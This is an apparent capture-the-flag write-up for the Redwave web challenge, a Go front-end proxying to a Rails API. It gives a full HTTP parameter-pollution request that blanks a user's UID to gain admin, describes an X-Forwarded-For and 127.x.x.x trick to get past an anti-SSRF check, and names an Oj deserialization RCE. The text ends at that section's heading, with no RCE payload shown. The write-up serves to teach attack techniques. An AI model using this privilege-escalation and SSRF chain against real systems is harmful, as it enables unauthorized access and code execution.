← Back to blog

Redwave

The Commonwealth of Arodor Maximus has deployed a satellite broadcast system to exert control over their forces. You have successfully infiltrated their internal network. Are you capable of hacking into the broadcasting service and exposing their secret plans?

Redwave is a multi-stage web challenge. The front-end is a Golang (redwave-interface) service that proxies requests to a Ruby on Rails backend (redwave-api). The full chain is: abuse HTTP parameter pollution to spoof an admin UID, then use the admin’s SSRF primitive to reach an internal /user/healthcheck Rails endpoint (bypassing its anti-SSRF check), and finally feed a malicious JSON gadget chain to Oj.load to achieve remote code execution.

Files

Download: web_redwave.zip

Overview

The intended solution path, at a high level:

  1. Register a user, then spoof the UID to the admin’s empty UID on the change-broadcast function using parameter pollution, e.g.

    {"UID":"a131f504-d8a0-4d4a-b8d4-30872be47623","username":"test5","category":"Cultural Preservation 071014","uid":""}
    
  2. With admin access you gain an SSRF primitive. You want to call the /user/healthcheck function on the backend, but it has an anti-SSRF measure. This is bypassed by setting the X-Forwarded-For header and targeting any 127.x.x.x address that is not the default 127.0.0.1.

  3. From there it is a Ruby Oj deserialization RCE; a public gadget chain payload works.

Architecture Recon (Docker)

Dropping into the challenge container shows how the services are laid out. The Rails API (puma) listens on port 3000 and the Golang interface (redwave-interface) is the front-facing service, both managed by supervisord and running as the unprivileged www user.

╰─❯ sudo docker exec -it web_redwave sh
/app/api $ id
uid=1000(www) gid=1000(www) groups=1000(www)
/app/api $ ps auxwwf
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
www           23  0.1  0.0   1664  1024 pts/1    Ss   20:36   0:00 sh
www           30  0.0  0.0   1736   768 pts/1    R+   20:36   0:00  \_ ps auxwwf
www            1  0.0  0.1  24344 22264 pts/0    Ss+  19:49   0:00 /usr/bin/python3 /usr/bin/supervisord -c /etc/supervisord.conf
www            7  0.0  0.0 716968 14364 pts/0    Sl   19:49   0:00 /app/interface/redwave-interface
www            8  0.0  0.4 167048 80636 pts/0    Sl   19:49   0:01 puma 5.6.6 (tcp://0.0.0.0:3000) [api]

Reading the environment of each process confirms the two roles. PID 8 is the rails-api and PID 7 is the golang-serv, both running Ruby 3.1.1.

/app/api $ cat /proc/8/environ | tr '\0' '\n'
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=c7effa03c633
TERM=xterm
LANG=C.UTF-8
RUBY_MAJOR=3.1
RUBY_VERSION=3.1.1
RUBY_DOWNLOAD_SHA256=7aefaa6b78b076515d272ec59c4616707a54fc9f2391239737d5f10af7a16caa
GEM_HOME=/usr/local/bundle
BUNDLE_SILENCE_ROOT_WARNING=1
BUNDLE_APP_CONFIG=/usr/local/bundle
HOME=/home/www
SUPERVISOR_ENABLED=1
SUPERVISOR_PROCESS_NAME=rails-api
SUPERVISOR_GROUP_NAME=rails-api

/app/api $ cat /proc/7/environ | tr '\0' '\n'
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=c7effa03c633
TERM=xterm
LANG=C.UTF-8
RUBY_MAJOR=3.1
RUBY_VERSION=3.1.1
RUBY_DOWNLOAD_SHA256=7aefaa6b78b076515d272ec59c4616707a54fc9f2391239737d5f10af7a16caa
GEM_HOME=/usr/local/bundle
BUNDLE_SILENCE_ROOT_WARNING=1
BUNDLE_APP_CONFIG=/usr/local/bundle
HOME=/home/www
SUPERVISOR_ENABLED=1
SUPERVISOR_PROCESS_NAME=golang-serv
SUPERVISOR_GROUP_NAME=golang-serv

Golang Interface (redwave-interface)

Looking at the Golang front-end’s router shows the public routes. The interesting endpoints are /dashboard (where broadcast channels are changed) and /admin (which is gated behind an admin check).

redwave-interface/internal/server/server.go
func (s *Server) Start() error {
    r := mux.NewRouter()
    path := filepath.Join(getCwd(), "web/static")

    r.PathPrefix("/static/").Handler(http.StripPrefix("/static", http.FileServer(http.Dir(path))))
    r.HandleFunc("/", s.handleRoot)
    r.HandleFunc("/signin", s.handleSignIn).Methods("GET")
    r.HandleFunc("/signin", s.handleSignInPost).Methods("POST")
    r.HandleFunc("/signout", s.handleSignOut)
    r.HandleFunc("/register", s.handleRegister).Methods("POST")
    r.HandleFunc("/dashboard", s.handleBroadcast).Methods("GET")
    r.HandleFunc("/dashboard", s.handleBroadcastPost).Methods("POST")
    r.HandleFunc("/admin", s.handleAdmin).Methods("GET")
    r.HandleFunc("/admin", s.handleAdminPost).Methods("POST")

    log.Println("Starting HTTP server at 8080")

    return http.ListenAndServe(":8080", r)

http://localhost:1337/

The Golang API client (apiclient.go) shows how the interface talks to the Rails backend. Note that CreateUser generates a random UID server-side, and EditUser / ReadUserBroadcast pass the user’s UID through to Rails via the X-Authorization-User header.

redwave-interface/internal/apiclient/apiclient.go
func (client *ApiClient) FindUser(request FindUserRequest) (models.User, error) {
    encodedJson, err := json.Marshal(request)
    if err != nil {
        return models.User{}, err
    }

    resp, err := http.Post(
        fmt.Sprintf("%s/user/find", client.Url), "application/json", bytes.NewBuffer(encodedJson),
    )

    if err != nil {
        return models.User{}, err
    }

    // decode json response
    var response FindUserResponse
    err = json.NewDecoder(resp.Body).Decode(&response)
    if err != nil {
        return models.User{}, err
    }

    if response.Success == 0 && response.Message != "" {
        return models.User{}, NewApiError(response.Message)
    }

    return response.User, nil
}

func (client *ApiClient) CreateUser(request CreateUserRequest) (models.User, error) {
    request.UID = uuid.NewString()
    encodedJson, err := json.Marshal(request)
    if err != nil {
        return models.User{}, err
    }

    resp, err := http.Post(
        fmt.Sprintf("%s/user/create", client.Url), "application/json", bytes.NewBuffer(encodedJson),
    )

    if err != nil {
        return models.User{}, err
    }

    // decode json response
    var response CreateUserResponse
    err = json.NewDecoder(resp.Body).Decode(&response)
    if err != nil {
        return models.User{}, err
    }

    if response.Success == 0 && response.Message != "" {
        return models.User{}, NewApiError(response.Message)
    }

    return response.User, nil
}

func (client *ApiClient) ReadUserBroadcast(user models.User) (models.Broadcast, error) {
    req, err := http.NewRequest(http.MethodGet, fmt.Sprintf("%s/broadcasts/readone", client.Url), nil)
    if err != nil {
        return models.Broadcast{}, err
    }

    req.Header.Set("X-Authorization-User", user.UID)
    resp, err := http.DefaultClient.Do(req)
    if err != nil {
        return models.Broadcast{}, err
    }
    var response ReadUserBroadcastResponse
    err = json.NewDecoder(resp.Body).Decode(&response)
    if err != nil {
        return models.Broadcast{}, err
    }

    if response.Success == 0 && response.Message != "" {
        return models.Broadcast{}, NewApiError(response.Message)
    }

    return response.Broadcast, nil
}

func (client *ApiClient) EditUser(requestBody []byte, user models.User) error {
    req, err := http.NewRequest(
        http.MethodPost, fmt.Sprintf("%s/user/edit", client.Url), bytes.NewBuffer(requestBody),
    )
    if err != nil {
        return err
    }

    req.Header.Set("Content-Type", "application/json")
    req.Header.Set("X-Authorization-User", user.UID)

    resp, err := http.DefaultClient.Do(req)
    if err != nil {
        return err
    }
    var response EditUserResponse
    err = json.NewDecoder(resp.Body).Decode(&response)
    if err != nil {
        return err
    }

    if response.Success == 0 && response.Message != "" {
        return NewApiError(response.Message)
    }

    return nil
}

The admin gate itself lives in the Golang interface. A user is considered an admin only if their UID is the empty string — so the goal is to set our own UID to "".

func (s *Server) checkAdmin(w http.ResponseWriter, r *http.Request) {
    cookie, err := r.Cookie("session_token")
    if err != nil {
        http.Redirect(w, r, "/", http.StatusFound)
        return
    }

    user, ok := s.sessions[cookie.Value]
    if !ok {
        http.Error(w, "Error retrieving user.", http.StatusBadRequest)
        return
    }

    if user.UID != "" {
        http.Error(w, "Not an admin!", http.StatusUnauthorized)
        return
    }
}

Normal Flow: Register and Change Broadcast

Before attacking, it helps to understand the legitimate flow. Registration and sign-in take a simple JSON body, and the dashboard lets you change your broadcast category.

/register
{"username":"test","password":"test"}
/signin
{"username":"test","password":"test"}

/dashboard
{"UID":"616fed54-6db9-43a5-bb1d-58d5c830137e","username":"test","category":"Technological Assistance Requested 190317"}

On the backend, registering inserts a row with a server-generated uid. Note the broadcastChannel is independent from the UID.

(0.4ms)  SELECT sqlite_version(*)
  ActiveRecord::SchemaMigration Pluck (0.1ms)  SELECT "schema_migrations"."version" FROM "schema_migrations" ORDER BY "schema_migrations"."version" ASC
Processing by UsersController#createUser as HTML
  Parameters: {"UID"=>"616fed54-6db9-43a5-bb1d-58d5c830137e", "username"=>"test", "password"=>"[FILTERED]", "broadcastChannel"=>"", "user"=>{"username"=>"test", "password"=>"[FILTERED]", "broadcastChannel"=>""}}
  User Exists? (0.1ms)  SELECT 1 AS one FROM "users" WHERE "users"."username" = ? LIMIT ?  [["username", "test"], ["LIMIT", 1]]
  ↳ app/controllers/users_controller.rb:4:in `createUser'
  TRANSACTION (0.1ms)  begin transaction
  ↳ app/controllers/users_controller.rb:8:in `createUser'
  User Create (0.3ms)  INSERT INTO "users" ("username", "password", "broadcastChannel", "uid", "created_at", "updated_at") VALUES (?, ?, ?, ?, ?, ?)  [["username", "test"], ["password", "[FILTERED]"], ["broadcastChannel", "SOS 080316"], ["uid", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["created_at", "2023-07-23 20:43:28.352286"], ["updated_at", "2023-07-23 20:43:28.352286"]]
  ↳ app/controllers/users_controller.rb:8:in `createUser'
  TRANSACTION (1.1ms)  commit transaction
  ↳ app/controllers/users_controller.rb:8:in `createUser'
Completed 200 OK in 24ms (Views: 0.3ms | ActiveRecord: 2.2ms | Allocations: 12870)

When changing the broadcast channel normally, the request body carries the UID, username and category, and Rails updates the broadcastChannel then re-reads the matching broadcast.

POST /dashboard HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/dashboard
Content-Type: application/json
Origin: http://localhost:1337
Content-Length: 109
Connection: close
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdPRFkxTkRWOS5VOFZaSV9SdWNCWTYyVW1OSFVZTDNTcUk0d0hiNWhoeHJOei1nMWlRVGRNIn0.ZLxYMQ.011VtlXVW_4wAlj7zU1yvgkprlw; __wzd85872c73336b56575cc9=1690065782|ecb1b92ba805; jwt=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9wcm92aWRlci9qd2tzLmpzb24iLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImxlYW4iLCJhY2NvdW50X3R5cGUiOiJtb2RlcmF0b3IifQ.bVYJjp4i9nZvHP9c1SKob1Z0jxYAaa_5poYWOnjdkMCk-K346qTFghL2jrz9v414kzLaZ6UXhobVDaOMQnf6JcYrmNUMc9pferDNDob_bNTqvicJzl_sCHTxv0eQXGqh4a6_ItaF3VWZjIlLC5VW8gZTdSyn2mvi3WpMYt7H2xXpS8-oaenrz2-lLFWwZaQX_kuwXVu1g28H7WNrk4gfW-qOoYpc88E97YVmtGzD8bN0bGwBVNtX3F-azY06F4V4rWomKhmSCsSsv8PeEO_mNE7-soiaQ473SyZ1NBYePtMGjU7Ilv8mtUD29qU6ygshvP_8xpFdrmmAO00btY18kg; session_token=dac30adb-ffd9-476a-93f7-b1a405087b09
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"UID":"616fed54-6db9-43a5-bb1d-58d5c830137e","username":"test","category":"Medical Expertise Needed 021120"}

The backend log for a normal edit confirms the update touches only broadcastChannel for the matching user, then reads the broadcast for that category.

Started POST "/user/edit" for 127.0.0.1 at 2023-07-23 22:54:13 +0000
Processing by UsersController#updateUser as HTML
  Parameters: {"UID"=>"616fed54-6db9-43a5-bb1d-58d5c830137e", "username"=>"test", "category"=>"SOS 080316", "user"=>{"username"=>"test"}}
  User Exists? (0.1ms)  SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ?  [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["LIMIT", 1]]
  ↳ app/controllers/users_controller.rb:29:in `updateUser'
  User Load (0.0ms)  SELECT "users".* FROM "users" WHERE "users"."UID" = ? AND "users"."username" = ? ORDER BY "users"."id" ASC LIMIT ?   [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["username", "test"], ["LIMIT", 1]]
  ↳ app/controllers/users_controller.rb:30:in `updateUser'
{"UID"=>"616fed54-6db9-43a5-bb1d-58d5c830137e", "username"=>"test", "category"=>"SOS 080316"}
Completed 200 OK in 2ms (Views: 0.1ms | ActiveRecord: 0.2ms | Allocations: 1300)

Started GET "/broadcasts/readone" for 127.0.0.1 at 2023-07-23 22:54:13 +0000
Processing by BroadcastController#readUserBroadcastChannel as HTML
  User Exists? (0.1ms)  SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ?  [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:4:in `readUserBroadcastChannel'
  User Load (0.1ms)  SELECT "users".* FROM "users" WHERE "users"."UID" = ? ORDER BY "users"."id" ASC LIMIT ?   [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:5:in `readUserBroadcastChannel'
--------------------------------------------------------
  Broadcast Load (0.1ms)  SELECT "broadcasts".* FROM "broadcasts" WHERE "broadcasts"."category" = ? ORDER BY RANDOM() LIMIT ?   [["category", "SOS 080316"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:7:in `readUserBroadcastChannel'
Completed 200 OK in 3ms (Views: 0.2ms | ActiveRecord: 0.3ms | Allocations: 1747)

Started GET "/broadcasts/readone" for 127.0.0.1 at 2023-07-23 22:54:13 +0000
Processing by BroadcastController#readUserBroadcastChannel as HTML
  User Exists? (0.1ms)  SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ?  [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:4:in `readUserBroadcastChannel'
  User Load (0.1ms)  SELECT "users".* FROM "users" WHERE "users"."UID" = ? ORDER BY "users"."id" ASC LIMIT ?   [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:5:in `readUserBroadcastChannel'
--------------------------------------------------------
  Broadcast Load (0.1ms)  SELECT "broadcasts".* FROM "broadcasts" WHERE "broadcasts"."category" = ? ORDER BY RANDOM() LIMIT ?   [["category", "SOS 080316"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:7:in `readUserBroadcastChannel'
Completed 200 OK in 3ms (Views: 0.2ms | ActiveRecord: 0.3ms | Allocations: 1745)

image

image

image

Parameter Pollution: Becoming Admin

HTTP parameter pollution occurs when multiple values are supplied for a single parameter in a request, leading to confusion in how the server processes them. The behavior depends on how each layer parses duplicate or conflicting keys — see Exploiting Parameter Pollution in Golang Web Apps.

It can appear in several places:

  • Query string — multiple values for the same parameter, e.g. https://example.com/search?query=keyword1&query=keyword2.
  • POST body — duplicate keys present in the request body.
  • Headers — an HTTP header that allows multiple occurrences of the same field.

Here the trick is to send both an uppercase UID (the legitimate UID Rails matches the user on) and a lowercase uid set to the empty string. Because of how the Golang interface and Rails differ in handling the keys, the user’s stored uid ends up overwritten with "" — which is exactly the admin condition checked by checkAdmin.

The polluted request adds the extra "uid":"" key:

POST /dashboard HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/dashboard
Content-Type: application/json
Origin: http://localhost:1337
Content-Length: 120
Connection: close
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdPRFkxTkRWOS5VOFZaSV9SdWNCWTYyVW1OSFVZTDNTcUk0d0hiNWhoeHJOei1nMWlRVGRNIn0.ZLxYMQ.011VtlXVW_4wAlj7zU1yvgkprlw; __wzd85872c73336b56575cc9=1690065782|ecb1b92ba805; jwt=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9wcm92aWRlci9qd2tzLmpzb24iLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImxlYW4iLCJhY2NvdW50X3R5cGUiOiJtb2RlcmF0b3IifQ.bVYJjp4i9nZvHP9c1SKob1Z0jxYAaa_5poYWOnjdkMCk-K346qTFghL2jrz9v414kzLaZ6UXhobVDaOMQnf6JcYrmNUMc9pferDNDob_bNTqvicJzl_sCHTxv0eQXGqh4a6_ItaF3VWZjIlLC5VW8gZTdSyn2mvi3WpMYt7H2xXpS8-oaenrz2-lLFWwZaQX_kuwXVu1g28H7WNrk4gfW-qOoYpc88E97YVmtGzD8bN0bGwBVNtX3F-azY06F4V4rWomKhmSCsSsv8PeEO_mNE7-soiaQ473SyZ1NBYePtMGjU7Ilv8mtUD29qU6ygshvP_8xpFdrmmAO00btY18kg; session_token=453542e7-664b-451a-b40a-e9e6c38823f0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"UID":"616fed54-6db9-43a5-bb1d-58d5c830137e","username":"test","category":"Sustainable Food Solutions 150622","uid":""}

The response: the edit succeeds (302 back to /dashboard), but the subsequent broadcast read now fails with “Unable to find user” because the user’s UID has been blanked out.

HTTP/1.1 302 Found
Location: /dashboard
Date: Sun, 23 Jul 2023 23:36:34 GMT
Content-Length: 0
Connection: close

HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Sun, 23 Jul 2023 23:36:35 GMT
Content-Length: 20
Connection: close

Unable to find user

The backend log confirms what happened. The UPDATE sets broadcastChannel for id=1, and the follow-up readone searches for an empty UID — proof the stored UID is now "", satisfying the admin check.

Started POST "/user/edit" for 127.0.0.1 at 2023-07-23 23:36:34 +0000
Processing by UsersController#updateUser as HTML
  Parameters: {"UID"=>"616fed54-6db9-43a5-bb1d-58d5c830137e", "username"=>"test", "category"=>"Sustainable Food Solutions 150622", "uid"=>"", "user"=>{"username"=>"test", "uid"=>""}}
  User Exists? (0.1ms)  SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ?  [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["LIMIT", 1]]
  ↳ app/controllers/users_controller.rb:29:in `updateUser'
  User Load (0.1ms)  SELECT "users".* FROM "users" WHERE "users"."UID" = ? AND "users"."username" = ? ORDER BY "users"."id" ASC LIMIT ?   [["UID", "616fed54-6db9-43a5-bb1d-58d5c830137e"], ["username", "test"], ["LIMIT", 1]]
  ↳ app/controllers/users_controller.rb:30:in `updateUser'
{"UID"=>"616fed54-6db9-43a5-bb1d-58d5c830137e", "username"=>"test", "category"=>"Sustainable Food Solutions 150622", "uid"=>""}
  TRANSACTION (0.0ms)  begin transaction
  ↳ app/controllers/users_controller.rb:33:in `updateUser'
  User Update (0.1ms)  UPDATE "users" SET "broadcastChannel" = ?, "updated_at" = ? WHERE "users"."id" = ?  [["broadcastChannel", "Sustainable Food Solutions 150622"], ["updated_at", "2023-07-23 23:36:34.731034"], ["id", 1]]
  ↳ app/controllers/users_controller.rb:33:in `updateUser'
  TRANSACTION (1.2ms)  commit transaction
  ↳ app/controllers/users_controller.rb:33:in `updateUser'
Completed 200 OK in 6ms (Views: 0.1ms | ActiveRecord: 1.5ms | Allocations: 2922)

2023/07/23 23:36:35 Unable to find user
Started GET "/broadcasts/readone" for 127.0.0.1 at 2023-07-23 23:36:35 +0000
Processing by BroadcastController#readUserBroadcastChannel as HTML
  User Exists? (0.1ms)  SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ?  [["UID", ""], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:4:in `readUserBroadcastChannel'
Completed 400 Bad Request in 1ms (Views: 0.1ms | ActiveRecord: 0.1ms | Allocations: 592)

image

For reference, the same edit flow observed with a test3 account (create → find → edit → readone) shows the broadcast category being updated end to end:

Started POST "/user/create" for 127.0.0.1 at 2023-07-23 23:22:06 +0000
Processing by UsersController#createUser as HTML
  Parameters: {"UID"=>"f8574402-55a2-4295-bdda-f83f9bf50368", "username"=>"test3", "password"=>"[FILTERED]", "broadcastChannel"=>"", "user"=>{"username"=>"test3", "password"=>"[FILTERED]", "broadcastChannel"=>""}}
  User Exists? (0.1ms)  SELECT 1 AS one FROM "users" WHERE "users"."username" = ? LIMIT ?  [["username", "test3"], ["LIMIT", 1]]
  ↳ app/controllers/users_controller.rb:4:in `createUser'
  TRANSACTION (0.0ms)  begin transaction
  ↳ app/controllers/users_controller.rb:8:in `createUser'
  User Create (0.2ms)  INSERT INTO "users" ("username", "password", "broadcastChannel", "uid", "created_at", "updated_at") VALUES (?, ?, ?, ?, ?, ?)  [["username", "test3"], ["password", "[FILTERED]"], ["broadcastChannel", "SOS 080316"], ["uid", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["created_at", "2023-07-23 23:22:06.194666"], ["updated_at", "2023-07-23 23:22:06.194666"]]
  ↳ app/controllers/users_controller.rb:8:in `createUser'
  TRANSACTION (0.7ms)  commit transaction
  ↳ app/controllers/users_controller.rb:8:in `createUser'
Completed 200 OK in 4ms (Views: 0.2ms | ActiveRecord: 1.0ms | Allocations: 2436)

{f8574402-55a2-4295-bdda-f83f9bf50368 test3 test3 SOS 080316}
Started POST "/user/find" for 127.0.0.1 at 2023-07-23 23:22:59 +0000
Processing by UsersController#readUser as HTML
  Parameters: {"username"=>"test3", "user"=>{"username"=>"test3"}}
  User Exists? (0.1ms)  SELECT 1 AS one FROM "users" WHERE "users"."username" = ? LIMIT ?  [["username", "test3"], ["LIMIT", 1]]
  ↳ app/controllers/users_controller.rb:14:in `readUser'
  User Load (0.1ms)  SELECT "users".* FROM "users" WHERE "users"."username" = ? LIMIT ?   [["username", "test3"], ["LIMIT", 1]]
  ↳ app/controllers/users_controller.rb:15:in `readUser'
Completed 200 OK in 2ms (Views: 0.2ms | ActiveRecord: 0.2ms | Allocations: 1246)

Started GET "/broadcasts/readone" for 127.0.0.1 at 2023-07-23 23:22:59 +0000
Processing by BroadcastController#readUserBroadcastChannel as HTML
  User Exists? (0.1ms)  SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ?  [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:4:in `readUserBroadcastChannel'
  User Load (0.1ms)  SELECT "users".* FROM "users" WHERE "users"."UID" = ? ORDER BY "users"."id" ASC LIMIT ?   [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:5:in `readUserBroadcastChannel'
--------------------------------------------------------
  Broadcast Load (0.2ms)  SELECT "broadcasts".* FROM "broadcasts" WHERE "broadcasts"."category" = ? ORDER BY RANDOM() LIMIT ?   [["category", "SOS 080316"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:7:in `readUserBroadcastChannel'
Completed 200 OK in 3ms (Views: 0.2ms | ActiveRecord: 0.4ms | Allocations: 1745)

Started POST "/user/edit" for 127.0.0.1 at 2023-07-23 23:23:06 +0000
Processing by UsersController#updateUser as HTML
  Parameters: {"UID"=>"f8574402-55a2-4295-bdda-f83f9bf50368", "username"=>"test3", "category"=>"Sustainable Food Solutions 150622", "user"=>{"username"=>"test3"}}
  User Exists? (0.1ms)  SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ?  [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
  ↳ app/controllers/users_controller.rb:29:in `updateUser'
  User Load (0.1ms)  SELECT "users".* FROM "users" WHERE "users"."UID" = ? AND "users"."username" = ? ORDER BY "users"."id" ASC LIMIT ?   [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["username", "test3"], ["LIMIT", 1]]
  ↳ app/controllers/users_controller.rb:30:in `updateUser'
{"UID"=>"f8574402-55a2-4295-bdda-f83f9bf50368", "username"=>"test3", "category"=>"Sustainable Food Solutions 150622"}
  TRANSACTION (0.0ms)  begin transaction
  ↳ app/controllers/users_controller.rb:33:in `updateUser'
  User Update (0.1ms)  UPDATE "users" SET "broadcastChannel" = ?, "updated_at" = ? WHERE "users"."id" = ?  [["broadcastChannel", "Sustainable Food Solutions 150622"], ["updated_at", "2023-07-23 23:23:06.790307"], ["id", 4]]
  ↳ app/controllers/users_controller.rb:33:in `updateUser'
  TRANSACTION (0.8ms)  commit transaction
  ↳ app/controllers/users_controller.rb:33:in `updateUser'
Completed 200 OK in 5ms (Views: 0.1ms | ActiveRecord: 1.2ms | Allocations: 2918)

Started GET "/broadcasts/readone" for 127.0.0.1 at 2023-07-23 23:23:06 +0000
Processing by BroadcastController#readUserBroadcastChannel as HTML
  User Exists? (0.2ms)  SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ?  [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:4:in `readUserBroadcastChannel'
  User Load (0.1ms)  SELECT "users".* FROM "users" WHERE "users"."UID" = ? ORDER BY "users"."id" ASC LIMIT ?   [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:5:in `readUserBroadcastChannel'
--------------------------------------------------------
  Broadcast Load (0.4ms)  SELECT "broadcasts".* FROM "broadcasts" WHERE "broadcasts"."category" = ? ORDER BY RANDOM() LIMIT ?   [["category", "Sustainable Food Solutions 150622"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:7:in `readUserBroadcastChannel'
Completed 200 OK in 5ms (Views: 0.2ms | ActiveRecord: 0.7ms | Allocations: 1748)

Started GET "/broadcasts/readone" for 127.0.0.1 at 2023-07-23 23:23:06 +0000
Processing by BroadcastController#readUserBroadcastChannel as HTML
  User Exists? (0.1ms)  SELECT 1 AS one FROM "users" WHERE "users"."UID" = ? LIMIT ?  [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:4:in `readUserBroadcastChannel'
  User Load (0.1ms)  SELECT "users".* FROM "users" WHERE "users"."UID" = ? ORDER BY "users"."id" ASC LIMIT ?   [["UID", "f8574402-55a2-4295-bdda-f83f9bf50368"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:5:in `readUserBroadcastChannel'
--------------------------------------------------------
  Broadcast Load (0.3ms)  SELECT "broadcasts".* FROM "broadcasts" WHERE "broadcasts"."category" = ? ORDER BY RANDOM() LIMIT ?   [["category", "Sustainable Food Solutions 150622"], ["LIMIT", 1]]
  ↳ app/controllers/broadcast_controller.rb:7:in `readUserBroadcastChannel'
Completed 200 OK in 5ms (Views: 0.2ms | ActiveRecord: 0.4ms | Allocations: 1747)

SSRF to the Rails Backend (redwave-api)

Now an admin, we gain access to /admin, which proxies a request to an arbitrary URL — an SSRF primitive. The target is the internal Rails /user/healthcheck endpoint, which is registered in the API routes:

redwave-api/config/routes.rb
Rails.application.routes.draw do
  post "/user/healthcheck", to: "users#healthcheck"
  post "/user/create", to: "users#createUser"
  post "/user/find", to: "users#readUser"
  post "/user/edit", to: "users#updateUser"
  get "/broadcasts/readone", to: "broadcast#readUserBroadcastChannel"
end

The Rails UsersController exposes CRUD plus a health check. The notable methods:

  • createUser — parses JSON from the request body and creates a user, rejecting duplicate usernames.
  • readUser — looks up a user by username from JSON in the body.
  • updateUser — reads the X-Authorization-User header for the requester’s UID, parses the body, and updates the user’s broadcastChannel from json_user["category"] if the UID matches.
  • healthcheck — a “health check” that guards against SSRF by checking request.ip against an anti_ssrf list (localhost / 0.0.0.0), then loads complex class definitions via the Oj gem’s load method on the request body.

The healthcheck is the dangerous one. Probing the API directly confirms it is reachable on port 3000:

curl localhost:3000/broadcasts/readone
{"success":0, "message":"Unable to find user"}

Known weaknesses

Reviewing the Rails code surfaces several issues, the load-bearing one being unsafe deserialization in healthcheck. Others noted along the way:

  • SQL injection risk in createUser/readUser: input from JSON.parse(request.body.read) is used without validation or sanitization.
  • No password hashing: req_body["password"] is stored directly rather than hashed with something like bcrypt.
  • No input validation on request bodies, enabling injection or unexpected behavior.

Additional weaknesses identified:

In some error responses, the code returns detailed error messages, which can potentially disclose sensitive information about the application's internals to attackers.
        Solution: Use generic error messages in production mode and log detailed error messages for debugging purposes only.

    Insecure Direct Object References (IDOR) in updateUser:
        The code uses UID from the request header to identify the user being updated. This can lead to IDOR vulnerabilities if the UID is predictable or not properly validated.
        Solution: Ensure that the requesting user has proper authorization to update the specified user, and avoid using easily guessable identifiers.

    Lack of Authentication and Authorization:
        The code does not include any authentication mechanisms to verify the identity of the users making requests, and there's no explicit authorization check to determine if users have the necessary permissions to perform specific actions.
        Solution: Implement proper authentication (e.g., JWT, OAuth) and authorization mechanisms to control access to the user management endpoints.

Ruby Oj Deserialization RCE

